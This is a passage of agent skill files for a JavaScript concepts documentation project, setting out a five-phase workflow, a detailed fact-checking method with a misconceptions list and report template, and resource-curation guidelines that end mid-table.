- Run tests: `npm test -- tests/{category}/{concept}/`
- Check any untested examples manually
- Verify output comments match actual outputs
2. **Verify MDN/spec claims:**
- Click all MDN links — verify they work
- Compare API descriptions to MDN
- Check ECMAScript spec for nuanced claims
3. **Verify external resources:**
- Check all article/video links work
- Skim content for accuracy
- Verify descriptions match content
4. **Audit technical claims:**
- Look for "always/never" statements
- Verify performance claims
- Check for common misconceptions
5. **Generate fact-check report**
### Deliverables
- Fact-check report documenting:
- Code verification results
- Link check results
- Any issues found and fixes made
### Quality Gates
Before moving to Phase 5:
- [ ] All tests passing
- [ ] All MDN links valid
- [ ] All external resources accessible
- [ ] No technical inaccuracies found
- [ ] No common misconceptions
---
## Phase 5: SEO Review
**Skill:** `seo-review`
**Goal:** Optimize for search visibility
### What to Do
1. **Audit title tag:**
- 50-60 characters
- Primary keyword in first half
- Ends with "in JavaScript"
- Contains compelling hook
2. **Audit meta description:**
- 150-160 characters
- Starts with action word (Learn, Understand, Discover)
- Contains primary keyword
- Promises specific value
3. **Audit keyword placement:**
- Keyword in title
- Keyword in description
- Keyword in first 100 words
- Keyword in at least one H2
4. **Audit content structure:**
- Question hook opening
- Code in first 200 words
- "What you'll learn" box
- Short paragraphs
5. **Audit featured snippet optimization:**
- 40-60 word definition after "What is" H2
- Question-format H2s
- Numbered steps for how-to content
6. **Audit internal linking:**
- 3-5 related concepts linked
- Descriptive anchor text
- Related Concepts section complete
7. **Calculate score** and fix any issues
### Deliverables
- SEO audit report with score (X/27)
- All high-priority fixes implemented
### Quality Gates
Before marking complete:
- [ ] Score 24+ out of 27 (90%+)
- [ ] Title optimized
- [ ] Meta description optimized
- [ ] Keywords placed naturally
- [ ] Featured snippet optimized
- [ ] Internal links complete
---
## Complete Workflow Checklist
Use this master checklist to track progress through all phases.
```markdown
# Concept Workflow: [Concept Name]
**Started:** YYYY-MM-DD
**Target Category:** {category}
**File Path:** `/docs/concepts/{concept-name}.mdx`
**Test Path:** `/tests/{category}/{concept-name}/`
---
## Phase 1: Resource Curation
- [ ] MDN references found (2-4)
- [ ] Articles found (4-6)
- [ ] Videos found (3-4)
- [ ] All links verified working
- [ ] Descriptions written (specific, 2 sentences)
- [ ] Resources formatted as Cards
**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
---
## Phase 2: Concept Writing
- [ ] Frontmatter complete
- [ ] Opening hook written
- [ ] Opening code example added
- [ ] "What you'll learn" box added
- [ ] Main content sections written
- [ ] Key Takeaways added
- [ ] Test Your Knowledge added
- [ ] Related Concepts added
- [ ] Resources pasted from Phase 1
- [ ] Added to docs.json (if new)
**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
---
## Phase 3: Test Writing
- [ ] Code examples extracted and categorized
- [ ] Test file created
- [ ] DOM test file created (if needed)
- [ ] All testable examples have tests
- [ ] Source line references added
- [ ] Tests run and passing
**Test Results:** X passing, X failing
**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
---
## Phase 4: Fact Checking
- [ ] All tests passing
- [ ] Code examples verified accurate
- [ ] MDN links checked (X/X valid)
- [ ] External resources checked (X/X valid)
- [ ] Technical claims audited
- [ ] No misconceptions found
- [ ] Issues fixed
**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
---
## Phase 5: SEO Review
- [ ] Title tag optimized (50-60 chars)
- [ ] Meta description optimized (150-160 chars)
- [ ] Keywords placed correctly
- [ ] Content structure verified
- [ ] Featured snippet optimized
- [ ] Internal links complete
**SEO Score:** X/27 (X%)
**Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete
---
## Final Status
**All Phases Complete:** ⬜ No | ✅ Yes
**Ready to Publish:** ⬜ No | ✅ Yes
**Completed:** YYYY-MM-DD
```
---
## Execution Instructions
When executing this workflow, follow these steps:
### Step 1: Initialize
```markdown
Starting concept workflow for: [CONCEPT NAME]
Category: [fundamentals/functions-execution/web-platform/etc.]
File: /docs/concepts/[concept-name].mdx
Tests: /tests/[category]/[concept-name]/
```
### Step 2: Execute Each Phase
For each phase:
1. **Announce the phase:**
```markdown
## Phase X: [Phase Name]
Using skill: [skill-name]
```
2. **Load the skill** to get detailed instructions
3. **Execute the phase** following the skill's methodology
4. **Report completion:**
```markdown
Phase X complete:
- [Deliverable 1]
- [Deliverable 2]
- Quality gates: ✅ All passed
```
5. **Move to next phase** only after quality gates pass
### Step 3: Final Report
After all phases complete:
```markdown
# Workflow Complete: [Concept Name]
## Summary
- **Concept Page:** `/docs/concepts/[concept-name].mdx`
- **Test File:** `/tests/[category]/[concept-name]/[concept-name].test.js`
- **Word Count:** X,XXX words
- **Code Examples:** XX (XX tested)
- **Resources:** X MDN, X articles, X videos
## Quality Metrics
- **Tests:** XX passing
- **Fact Check:** ✅ All verified
- **SEO Score:** XX/27 (XX%)
## Files Created/Modified
1. `/docs/concepts/[concept-name].mdx` (created)
2. `/docs/docs.json` (updated navigation)
3. `/tests/[category]/[concept-name]/[concept-name].test.js` (created)
## Ready to Publish: ✅ Yes
```
---
## Phase Dependencies
Some phases can be partially parallelized, but the general flow should be:
```
Phase 1 (Resources) ──┐
├──► Phase 2 (Writing) ──► Phase 3 (Tests) ──┐
│ │
│ ┌───────────────────────────────────┘
│ ▼
└──► Phase 4 (Fact Check) ──► Phase 5 (SEO)
```
- **Phase 1 before Phase 2:** Resources inform what to write
- **Phase 2 before Phase 3:** Need content before writing tests
- **Phase 3 before Phase 4:** Tests are part of fact-checking
- **Phase 4 before Phase 5:** Fix accuracy issues before SEO polish
---
## Skill Reference
| Phase | Skill | Purpose |
|-------|-------|---------|
| 1 | `resource-curator` | Find and evaluate external resources |
| 2 | `write-concept` | Write the documentation page |
| 3 | `test-writer` | Generate tests for code examples |
| 4 | `fact-check` | Verify technical accuracy |
| 5 | `seo-review` | Optimize for search visibility |
Each skill has detailed instructions in its own `SKILL.md` file. Load the appropriate skill at each phase for comprehensive guidance.
---
## Time Estimates
| Phase | Estimated Time | Notes |
|-------|---------------|-------|
| Phase 1: Resources | 15-30 min | Depends on availability of quality resources |
| Phase 2: Writing | 1-3 hours | Depends on concept complexity |
| Phase 3: Tests | 30-60 min | Depends on number of code examples |
| Phase 4: Fact Check | 15-30 min | Most automated via tests |
| Phase 5: SEO | 15-30 min | Mostly checklist verification |
| **Total** | **2-5 hours** | For a complete concept page |
---
## Quick Start
To start the workflow for a new concept:
```
1. Determine the concept name and category
2. Load this skill (concept-workflow)
3. Execute Phase 1: Load resource-curator, find resources
4. Execute Phase 2: Load write-concept, write the page
5. Execute Phase 3: Load test-writer, create tests
6. Execute Phase 4: Load fact-check, verify accuracy
7. Execute Phase 5: Load seo-review, optimize SEO
8. Generate final report
9. Commit changes
```
**Example prompt to start:**
> "Create a complete concept page for 'hoisting' using the concept-workflow skill"
This will trigger the full end-to-end workflow, creating a complete, tested, verified, and SEO-optimized concept page.
================================================
FILE: .opencode/skill/fact-check/SKILL.md
================================================
---
name: fact-check
description: Verify technical accuracy of JavaScript concept pages by checking code examples, MDN/ECMAScript compliance, and external resources to prevent misinformation
---
# Skill: JavaScript Fact Checker
Use this skill to verify the technical accuracy of concept documentation pages for the 33 JavaScript Concepts project. This ensures we're not spreading misinformation about JavaScript.
## When to Use
- Before publishing a new concept page
- After significant edits to existing content
- When reviewing community contributions
- When updating pages with new JavaScript features
- Periodic accuracy audits of existing content
## What We're Protecting Against
- Incorrect JavaScript behavior claims
- Outdated information (pre-ES6 patterns presented as current)
- Code examples that don't produce stated outputs
- Broken or misleading external resource links
- Common misconceptions stated as fact
- Browser-specific behavior presented as universal
- Inaccurate API descriptions
---
## Fact-Checking Methodology
Follow these five phases in order for a complete fact check.
### Phase 1: Code Example Verification
Every code example in the concept page must be verified for accuracy.
#### Step-by-Step Process
1. **Identify all code blocks** in the document
2. **For each code block:**
- Read the code and any output comments (e.g., `// "string"`)
- Mentally execute the code or test in a JavaScript environment
- Verify the output matches what's stated in comments
- Check that variable names and logic are correct
3. **For "wrong" examples (marked with ❌):**
- Verify they actually produce the wrong/unexpected behavior
- Confirm the explanation of why it's wrong is accurate
4. **For "correct" examples (marked with ✓):**
- Verify they work as stated
- Confirm they follow current best practices
5. **Run project tests:**
```bash
# Run all tests
npm test
# Run tests for a specific concept
npm test -- tests/fundamentals/call-stack/
npm test -- tests/fundamentals/primitive-types/
```
6. **Check test coverage:**
- Look in `/tests/{category}/{concept-name}/`
- Verify tests exist for major code examples
- Flag examples without test coverage
#### Code Verification Checklist
| Check | How to Verify |
|-------|---------------|
| `console.log` outputs match comments | Run code or trace mentally |
| Variables are correctly named/used | Read through logic |
| Functions return expected values | Trace execution |
| Async code resolves in stated order | Understand event loop |
| Error examples actually throw | Test in try/catch |
| Array/object methods return correct types | Check MDN |
| `typeof` results are accurate | Test common cases |
| Strict mode behavior noted if relevant | Check if example depends on it |
#### Common Output Mistakes to Catch
```javascript
// Watch for these common mistakes:
// 1. typeof null
typeof null // "object" (not "null"!)
// 2. Array methods that return new arrays vs mutate
const arr = [1, 2, 3]
arr.push(4) // Returns 4 (length), not the array!
arr.map(x => x*2) // Returns NEW array, doesn't mutate
// 3. Promise resolution order
Promise.resolve().then(() => console.log('micro'))
setTimeout(() => console.log('macro'), 0)
console.log('sync')
// Output: sync, micro, macro (NOT sync, macro, micro)
// 4. Comparison results
[] == false // true
[] === false // false
![] // false (empty array is truthy!)
// 5. this binding
const obj = {
name: 'Alice',
greet: () => console.log(this.name) // undefined! Arrow has no this
}
```
---
### Phase 2: MDN Documentation Verification
All claims about JavaScript APIs, methods, and behavior should align with MDN documentation.
#### Step-by-Step Process
1. **Check all MDN links:**
- Click each MDN link in the document
- Verify the link returns 200 (not 404)
- Confirm the linked page matches what's being referenced
2. **Verify API descriptions:**
- Compare method signatures with MDN
- Check parameter names and types
- Verify return types
- Confirm edge case behavior
3. **Check for deprecated APIs:**
- Look for deprecation warnings on MDN
- Flag any deprecated methods being taught as current
4. **Verify browser compatibility claims:**
- Cross-reference with MDN compatibility tables
- Check Can I Use for broader support data
#### MDN Link Patterns
| Content Type | MDN URL Pattern |
|--------------|-----------------|
| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |
| Global Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |
| Statements | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/{Statement}` |
| Operators | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/{Operator}` |
| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |
#### What to Verify Against MDN
| Claim Type | What to Check |
|------------|---------------|
| Method signature | Parameters, optional params, return type |
| Return value | Exact type and possible values |
| Side effects | Does it mutate? What does it affect? |
| Exceptions | What errors can it throw? |
| Browser support | Compatibility tables |
| Deprecation status | Any deprecation warnings? |
---
### Phase 3: ECMAScript Specification Compliance
For nuanced JavaScript behavior, verify against the ECMAScript specification.
#### When to Check the Spec
- Edge cases and unusual behavior
- Claims about "how JavaScript works internally"
- Type coercion rules
- Operator precedence
- Execution order guarantees
- Claims using words like "always", "never", "guaranteed"
#### How to Navigate the Spec
The ECMAScript specification is at: https://tc39.es/ecma262/
| Concept | Spec Section |
|---------|--------------|
| Type coercion | Abstract Operations (7.1) |
| Equality | Abstract Equality Comparison (7.2.14), Strict Equality (7.2.15) |
| typeof | The typeof Operator (13.5.3) |
| Objects | Ordinary and Exotic Objects' Behaviours (10) |
| Functions | ECMAScript Function Objects (10.2) |
| this binding | ResolveThisBinding (9.4.4) |
| Promises | Promise Objects (27.2) |
| Iteration | Iteration (27.1) |
#### Spec Verification Examples
```javascript
// Claim: "typeof null returns 'object' due to a bug"
// Spec says: typeof null → "object" (Table 41)
// Historical context: This is a known quirk from JS 1.0
// Verdict: ✓ Correct, though calling it a "bug" is slightly informal
// Claim: "Promises always resolve asynchronously"
// Spec says: Promise reaction jobs are enqueued (27.2.1.3.2)
// Verdict: ✓ Correct - even resolved promises schedule microtasks
// Claim: "=== is faster than =="
// Spec says: Nothing about performance
// Verdict: ⚠️ Needs nuance - this is implementation-dependent
```
---
### Phase 4: External Resource Verification
All external links (articles, videos, courses) must be verified.
#### Step-by-Step Process
1. **Check link accessibility:**
- Click each external link
- Verify it loads (not 404, not paywalled)
- Note any redirects to different URLs
2. **Verify content accuracy:**
- Skim the resource for obvious errors
- Check it's JavaScript-focused (not C#, Python, Java)
- Verify it's not teaching anti-patterns
3. **Check publication date:**
- For time-sensitive topics (async, modules, etc.), prefer recent content
- Flag resources from before 2015 for ES6+ topics
4. **Verify description accuracy:**
- Does our description match what the resource actually covers?
- Is the description specific (not generic)?
#### External Resource Checklist
| Check | Pass Criteria |
|-------|---------------|
| Link works | Returns 200, content loads |
| Not paywalled | Free to access (or clearly marked) |
| JavaScript-focused | Not primarily about other languages |
| Not outdated | Post-2015 for modern JS topics |
| Accurate description | Our description matches actual content |
| No anti-patterns | Doesn't teach bad practices |
| Reputable source | From known/trusted creators |
#### Red Flags in External Resources
- Uses `var` everywhere for ES6+ topics
- Uses callbacks for content about Promises/async
- Teaches jQuery as modern DOM manipulation
- Contains factual errors about JavaScript
- Video is >2 hours without timestamp links
- Content is primarily about another language
- Uses deprecated APIs without noting deprecation
---
### Phase 5: Technical Claims Audit
Review all prose claims about JavaScript behavior.
#### Claims That Need Verification
| Claim Type | How to Verify |
|------------|---------------|
| Performance claims | Need benchmarks or caveats |
| Browser behavior | Specify which browsers, check MDN |
| Historical claims | Verify dates/versions |
| "Always" or "never" statements | Check for exceptions |
| Comparisons (X vs Y) | Verify both sides accurately |
#### Red Flags in Technical Claims
- "Always" or "never" without exceptions noted
- Performance claims without benchmarks
- Browser behavior claims without specifying browsers
- Comparisons that oversimplify differences
- Historical claims without dates
- Claims about "how JavaScript works" without spec reference
#### Examples of Claims to Verify
```markdown
❌ "async/await is always better than Promises"
→ Verify: Not always - Promise.all() is better for parallel operations
❌ "JavaScript is an interpreted language"
→ Verify: Modern JS engines use JIT compilation
❌ "Objects are passed by reference"
→ Verify: Technically "passed by sharing" - the reference is passed by value
❌ "=== is faster than =="
→ Verify: Implementation-dependent, not guaranteed by spec
✓ "JavaScript is single-threaded"
→ Verify: Correct for the main thread (Web Workers are separate)
✓ "Promises always resolve asynchronously"
→ Verify: Correct per ECMAScript spec
```
---
## Common JavaScript Misconceptions
Watch for these misconceptions being stated as fact.
### Type System Misconceptions
| Misconception | Reality | How to Verify |
|---------------|---------|---------------|
| `typeof null === "object"` is intentional | It's a bug from JS 1.0 that can't be fixed for compatibility | Historical context, TC39 discussions |
| JavaScript has no types | JS is dynamically typed, not untyped | ECMAScript spec defines types |
| `==` is always wrong | `== null` checks both null and undefined, has valid uses | Many style guides allow this pattern |
| `NaN === NaN` is false "by mistake" | It's intentional per IEEE 754 floating point spec | IEEE 754 standard |
### Function Misconceptions
| Misconception | Reality | How to Verify |
|---------------|---------|---------------|
| Arrow functions are just shorter syntax | They have no `this`, `arguments`, `super`, or `new.target` | MDN, ECMAScript spec |
| `var` is hoisted to function scope with its value | Only declaration is hoisted, not initialization | Code test, MDN |
| Closures are a special opt-in feature | All functions in JS are closures | ECMAScript spec |
| IIFEs are obsolete | Still useful for one-time initialization | Modern codebases still use them |
### Async Misconceptions
| Misconception | Reality | How to Verify |
|---------------|---------|---------------|
| Promises run in parallel | JS is single-threaded; Promises are async, not parallel | Event loop explanation |
| `async/await` is different from Promises | It's syntactic sugar over Promises | MDN, can await any thenable |
| `setTimeout(fn, 0)` runs immediately | Runs after current execution + microtasks | Event loop, code test |
| `await` pauses the entire program | Only pauses the async function, not the event loop | Code test |
### Object Misconceptions
| Misconception | Reality | How to Verify |
|---------------|---------|---------------|
| Objects are "passed by reference" | References are passed by value ("pass by sharing") | Reassignment test |
| `const` makes objects immutable | `const` prevents reassignment, not mutation | Code test |
| Everything in JavaScript is an object | Primitives are not objects (though they have wrappers) | `typeof` tests, MDN |
| `Object.freeze()` creates deep immutability | It's shallow - nested objects can still be mutated | Code test |
### Performance Misconceptions
| Misconception | Reality | How to Verify |
|---------------|---------|---------------|
| `===` is always faster than `==` | Implementation-dependent, not spec-guaranteed | Benchmarks vary |
| `for` loops are faster than `forEach` | Modern engines optimize both; depends on use case | Benchmark |
| Arrow functions are faster | No performance difference, just different behavior | Benchmark |
| Avoiding DOM manipulation is always faster | Sometimes batch mutations are slower than individual | Depends on browser, use case |
---
## Test Integration
Running the project's test suite is a key part of fact-checking.
### Test Commands
```bash
# Run all tests
npm test
# Run tests in watch mode
npm run test:watch
# Run tests with coverage
npm run test:coverage
# Run tests for specific concept
npm test -- tests/fundamentals/call-stack/
npm test -- tests/fundamentals/primitive-types/
npm test -- tests/fundamentals/value-reference-types/
npm test -- tests/fundamentals/type-coercion/
npm test -- tests/fundamentals/equality-operators/
npm test -- tests/fundamentals/scope-and-closures/
```
### Test Directory Structure
```
tests/
├── fundamentals/ # Concepts 1-6
│ ├── call-stack/
│ ├── primitive-types/
│ ├── value-reference-types/
│ ├── type-coercion/
│ ├── equality-operators/
│ └── scope-and-closures/
├── functions-execution/ # Concepts 7-8
│ ├── event-loop/
│ └── iife-modules/
└── web-platform/ # Concepts 9-10
├── dom/
└── http-fetch/
```
### When Tests Are Missing
If a concept doesn't have tests:
1. Flag this in the report as "needs test coverage"
2. Manually verify code examples are correct
3. Consider adding tests as a follow-up task
---
## Verification Resources
### Primary Sources
| Resource | URL | Use For |
|----------|-----|---------|
| MDN Web Docs | https://developer.mozilla.org | API docs, guides, compatibility |
| ECMAScript Spec | https://tc39.es/ecma262 | Authoritative behavior |
| TC39 Proposals | https://github.com/tc39/proposals | New features, stages |
| Can I Use | https://caniuse.com | Browser compatibility |
| Node.js Docs | https://nodejs.org/docs | Node-specific APIs |
| V8 Blog | https://v8.dev/blog | Engine internals |
### Project Resources
| Resource | Path | Use For |
|----------|------|---------|
| Test Suite | `/tests/` | Verify code examples |
| Concept Pages | `/docs/concepts/` | Current content |
| Run Tests | `npm test` | Execute all tests |
---
## Fact Check Report Template
Use this template to document your findings.
```markdown
# Fact Check Report: [Concept Name]
**File:** `/docs/concepts/[slug].mdx`
**Date:** YYYY-MM-DD
**Reviewer:** [Name/Claude]
**Overall Status:** ✅ Verified | ⚠️ Minor Issues | ❌ Major Issues
---
## Executive Summary
[2-3 sentence summary of findings. State whether the page is accurate overall and highlight any critical issues.]
**Tests Run:** Yes/No
**Test Results:** X passing, Y failing
**External Links Checked:** X/Y valid
---
## Phase 1: Code Example Verification
| # | Description | Line | Status | Notes |
|---|-------------|------|--------|-------|
| 1 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
| 2 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
| 3 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] |
### Code Issues Found
#### Issue 1: [Title]
**Location:** Line XX
**Severity:** Critical/Major/Minor
**Current Code:**
```javascript
// The problematic code
```
**Problem:** [Explanation of what's wrong]
**Correct Code:**
```javascript
// The corrected code
```
---
## Phase 2: MDN/Specification Verification
| Claim | Location | Source | Status | Notes |
|-------|----------|--------|--------|-------|
| [Claim made] | Line XX | MDN/Spec | ✅/⚠️/❌ | [Notes] |
### MDN Link Status
| Link Text | URL | Status |
|-----------|-----|--------|
| [Text] | [URL] | ✅ 200 / ❌ 404 |
### Specification Discrepancies
[If any claims don't match the ECMAScript spec, detail them here]
---
## Phase 3: External Resource Verification
| Resource | Type | Link | Content | Notes |
|----------|------|------|---------|-------|
| [Title] | Article/Video | ✅/❌ | ✅/⚠️/❌ | [Notes] |
### Broken Links
1. **Line XX:** [URL] - 404 Not Found
2. **Line YY:** [URL] - Domain expired
### Content Concerns
1. **[Resource name]:** [Concern - e.g., outdated, wrong language, anti-patterns]
### Description Accuracy
| Resource | Description Accurate? | Notes |
|----------|----------------------|-------|
| [Title] | ✅/❌ | [Notes] |
---
## Phase 4: Technical Claims Audit
| Claim | Location | Verdict | Notes |
|-------|----------|---------|-------|
| "[Claim]" | Line XX | ✅/⚠️/❌ | [Notes] |
### Claims Needing Revision
1. **Line XX:** "[Current claim]"
- **Issue:** [What's wrong]
- **Suggested:** "[Revised claim]"
---
## Phase 5: Test Results
**Test File:** `/tests/[category]/[concept]/[concept].test.js`
**Tests Run:** XX
**Passing:** XX
**Failing:** XX
### Failing Tests
| Test Name | Expected | Actual | Related Doc Line |
|-----------|----------|--------|------------------|
| [Test] | [Expected] | [Actual] | Line XX |
### Coverage Gaps
Examples in documentation without corresponding tests:
- [ ] Line XX: [Description of untested example]
- [ ] Line YY: [Description of untested example]
---
## Issues Summary
### Critical (Must Fix Before Publishing)
1. **[Issue title]**
- Location: Line XX
- Problem: [Description]
- Fix: [How to fix]
### Major (Should Fix)
1. **[Issue title]**
- Location: Line XX
- Problem: [Description]
- Fix: [How to fix]
### Minor (Nice to Have)
1. **[Issue title]**
- Location: Line XX
- Suggestion: [Improvement]
---
## Recommendations
1. **[Priority 1]:** [Specific actionable recommendation]
2. **[Priority 2]:** [Specific actionable recommendation]
3. **[Priority 3]:** [Specific actionable recommendation]
---
## Verification Checklist
- [ ] All code examples verified for correct output
- [ ] All MDN links checked and valid
- [ ] API descriptions match MDN documentation
- [ ] ECMAScript compliance verified (if applicable)
- [ ] All external resource links accessible
- [ ] Resource descriptions accurately represent content
- [ ] No common JavaScript misconceptions found
- [ ] Technical claims are accurate and nuanced
- [ ] Project tests run and reviewed
- [ ] Report complete and ready for handoff
---
## Sign-off
**Verified by:** [Name/Claude]
**Date:** YYYY-MM-DD
**Recommendation:** ✅ Ready to publish | ⚠️ Fix issues first | ❌ Major revision needed
```
---
## Quick Reference: Verification Commands
```bash
# Run all tests
npm test
# Run specific concept tests
npm test -- tests/fundamentals/call-stack/
# Check for broken links (if you have a link checker)
# Install: npm install -g broken-link-checker
# Run: blc https://developer.mozilla.org/... -ro
# Quick JavaScript REPL for testing
node
> typeof null
'object'
> [1,2,3].map(x => x * 2)
[ 2, 4, 6 ]
```
---
## Summary
When fact-checking a concept page:
1. **Run tests first** — `npm test` catches code errors automatically
2. **Verify every code example** — Output comments must match reality
3. **Check all MDN links** — Broken links and incorrect descriptions hurt credibility
4. **Verify external resources** — Must be accessible, accurate, and JavaScript-focused
5. **Audit technical claims** — Watch for misconceptions and unsupported statements
6. **Document everything** — Use the report template for consistent, thorough reviews
**Remember:** Our readers trust us to teach them correct JavaScript. A single piece of misinformation can create confusion that takes years to unlearn. Take fact-checking seriously.
================================================
FILE: .opencode/skill/resource-curator/SKILL.md
================================================
---
name: resource-curator
description: Find, evaluate, and maintain high-quality external resources for JavaScript concept documentation, including auditing for broken and outdated links
---
# Skill: Resource Curator for Concept Pages
Use this skill to find, evaluate, add, and maintain high-quality external resources (articles, videos, courses) for concept documentation pages. This includes auditing existing resources for broken links and outdated content.
## When to Use
- Adding resources to a new concept page
- Refreshing resources on existing pages
- Auditing for broken or outdated links
- Reviewing community-contributed resources
- Periodic link maintenance
## Resource Curation Methodology
Follow these five phases for comprehensive resource curation.
### Phase 1: Audit Existing Resources
Before adding new resources, audit what's already there:
1. **Check link accessibility** — Does each link return 200?
2. **Verify content accuracy** — Is the content still correct?
3. **Check publication dates** — Is it too old for the topic?
4. **Identify outdated content** — Does it use old syntax/patterns?
5. **Review descriptions** — Are they specific or generic?
### Phase 2: Identify Resource Gaps
Compare current resources against targets:
| Section | Target Count | Icon |
|---------|--------------|------|
| Reference | 2-4 MDN links | `book` |
| Articles | 4-6 articles | `newspaper` |
| Videos | 3-4 videos | `video` |
| Courses | 1-3 (optional) | `graduation-cap` |
| Books | 1-2 (optional) | `book` |
Ask:
- Are there enough resources for beginners AND advanced learners?
- Is there visual content (diagrams, animations)?
- Are official references (MDN) included?
- Is there diversity in teaching styles?
### Phase 3: Find New Resources
Search trusted sources using targeted queries:
**For Articles:**
```
[concept] javascript tutorial site:javascript.info
[concept] javascript explained site:freecodecamp.org
[concept] javascript site:dev.to
[concept] javascript deep dive site:2ality.com
[concept] javascript guide site:css-tricks.com
```
**For Videos:**
```
YouTube: [concept] javascript explained
YouTube: [concept] javascript tutorial
YouTube: jsconf [concept]
YouTube: [concept] javascript fireship
YouTube: [concept] javascript web dev simplified
```
**For MDN:**
```
[concept] site:developer.mozilla.org
[API name] MDN
```
### Phase 4: Write Descriptions
Every resource needs a specific, valuable description:
**Formula:**
```
Sentence 1: What makes this resource unique OR what it specifically covers
Sentence 2: Why reader should click (what they'll gain, who it's best for)
```
### Phase 5: Format and Organize
- Use correct Card syntax with proper icons
- Order resources logically (foundational first, advanced later)
- Ensure consistent formatting
---
## Trusted Sources
### Reference Sources (Priority Order)
| Priority | Source | URL | Best For |
|----------|--------|-----|----------|
| 1 | MDN Web Docs | developer.mozilla.org | API docs, guides, compatibility |
| 2 | ECMAScript Spec | tc39.es/ecma262 | Authoritative behavior |
| 3 | Node.js Docs | nodejs.org/docs | Node-specific APIs |
| 4 | Web.dev | web.dev | Performance, best practices |
| 5 | Can I Use | caniuse.com | Browser compatibility |
### Article Sources (Priority Order)
| Priority | Source | Why Trusted |
|----------|--------|-------------|
| 1 | javascript.info | Comprehensive, exercises, well-maintained |
| 2 | MDN Guides | Official, accurate, regularly updated |
| 3 | freeCodeCamp | Beginner-friendly, practical |
| 4 | 2ality (Dr. Axel) | Deep technical dives, spec-focused |
| 5 | CSS-Tricks | DOM, visual topics, well-written |
| 6 | dev.to (Lydia Hallie) | Visual explanations, animations |
| 7 | LogRocket Blog | Practical tutorials, real-world |
| 8 | Smashing Magazine | In-depth, well-researched |
| 9 | Digital Ocean | Clear tutorials, examples |
| 10 | Kent C. Dodds | Testing, React, best practices |
### Video Creators (Priority Order)
| Priority | Creator | Style | Best For |
|----------|---------|-------|----------|
| 1 | Fireship | Fast, modern, entertaining | Quick overviews, modern JS |
| 2 | Web Dev Simplified | Clear, beginner-friendly | Beginners, fundamentals |
| 3 | Fun Fun Function | Deep-dives, personality | Understanding "why" |
| 4 | Traversy Media | Comprehensive crash courses | Full topic coverage |
| 5 | JSConf/dotJS | Expert conference talks | Advanced, in-depth |
| 6 | Academind | Thorough explanations | Complete understanding |
| 7 | The Coding Train | Creative, visual | Visual learners |
| 8 | Wes Bos | Practical, real-world | Applied learning |
| 9 | The Net Ninja | Step-by-step tutorials | Following along |
| 10 | Programming with Mosh | Professional, clear | Career-focused |
### Course Sources
| Source | Type | Notes |
|--------|------|-------|
| javascript.info | Free | Comprehensive, exercises |
| Piccalilli | Free | Well-written, modern |
| freeCodeCamp | Free | Project-based |
| Frontend Masters | Paid | Expert instructors |
| Egghead.io | Paid | Short, focused lessons |
| Udemy (top-rated) | Paid | Check reviews carefully |
| Codecademy | Freemium | Interactive |
---
## Quality Criteria
### Must Have (Required)
- [ ] **Link works** — Returns 200 (not 404, 301, 5xx)
- [ ] **JavaScript-focused** — Not primarily about C#, Python, Java, etc.
- [ ] **Technically accurate** — No factual errors or anti-patterns
- [ ] **Accessible** — Free or has meaningful free preview
### Should Have (Preferred)
- [ ] **Recent enough** — See publication date guidelines below
- [ ] **Reputable source** — From trusted sources list or well-known creator
- [ ] **Unique perspective** — Not duplicate of existing resources
- [ ] **Appropriate depth** — Matches concept complexity
- [ ] **Good engagement** — Positive comments, high views (for videos)
### Red Flags (Reject)
| Red Flag | Why It Matters |
|----------|----------------|
| Uses `var` everywhere | Outdated for ES6+ topics |
| Teaches anti-patterns | Harmful to learners |
| Primarily other languages | Wrong focus |
| Hard paywall (no preview) | Inaccessible |
| Pre-2015 for modern topics | Likely outdated |
| Low quality comments | Often indicates issues |
| Factual errors | Spreads misinformation |
| Clickbait title, thin content | Wastes reader time |
---
## Publication Date Guidelines
| Topic Category | Minimum Year | Reasoning |
|----------------|--------------|-----------|
| **ES6+ Features** | 2015+ | ES6 released June 2015 |
| **Promises** | 2015+ | Native Promises in ES6 |
| **async/await** | 2017+ | ES2017 feature |
| **ES Modules** | 2018+ | Stable browser support |
| **Optional chaining (?.)** | 2020+ | ES2020 feature |
| **Nullish coalescing (??)** | 2020+ | ES2020 feature |
| **Top-level await** | 2022+ | ES2022 feature |
| **Fundamentals** (closures, scope, this) | Any | Core concepts don't change |
| **DOM manipulation** | 2018+ | Modern APIs preferred |
| **Fetch API** | 2017+ | Widespread support |
**Rule of thumb:** For time-sensitive topics, prefer content from the last 3-5 years. For fundamentals, older classic content is often excellent.
---
## Description Writing Guide
### The Formula
```
Sentence 1: What makes this resource unique OR what it specifically covers
Sentence 2: Why reader should click (what they'll gain, who it's best for)
```
### Good Examples
```markdown
Animated GIFs showing the call stack, microtask queue, and event loop in action.
The visuals make Promise execution order finally click for visual learners.
The legendary JSConf talk that made the event loop click for millions of developers.
Philip Roberts' live visualizations are the gold standard — a must-watch.
Kyle Simpson's deep dive into JavaScript's scope mechanics and closure behavior.
Goes beyond the basics into edge cases and mental models for truly understanding scope.
Quick, clear explanation covering Promise creation, chaining, and error handling.
Perfect starting point if you're new to async JavaScript.
The pizza-and-drinks ordering analogy makes parallel vs sequential execution crystal clear.
Essential reading once you know async/await basics but want to write faster code.
```
### Bad Examples (Avoid)
```markdown
A comprehensive guide to Promises in JavaScript.
This video explains closures in JavaScript.
Everything you need to know about JavaScript.
A video about understanding the event loop.
```
### Words and Phrases to Avoid
| Avoid | Why | Use Instead |
|-------|-----|-------------|
| "comprehensive guide to..." | Vague, overused | Specify what's covered |
| "learn all about..." | Generic | What specifically will they learn? |
| "everything you need to know..." | Hyperbolic | Be specific |
| "great tutorial on..." | Subjective filler | Why is it great? |
| "explains X" | Too basic | How does it explain? What's unique? |
| "in-depth look at..." | Vague | What depth? What aspect? |
### Words and Phrases That Work
| Good Phrase | Example |
|-------------|---------|
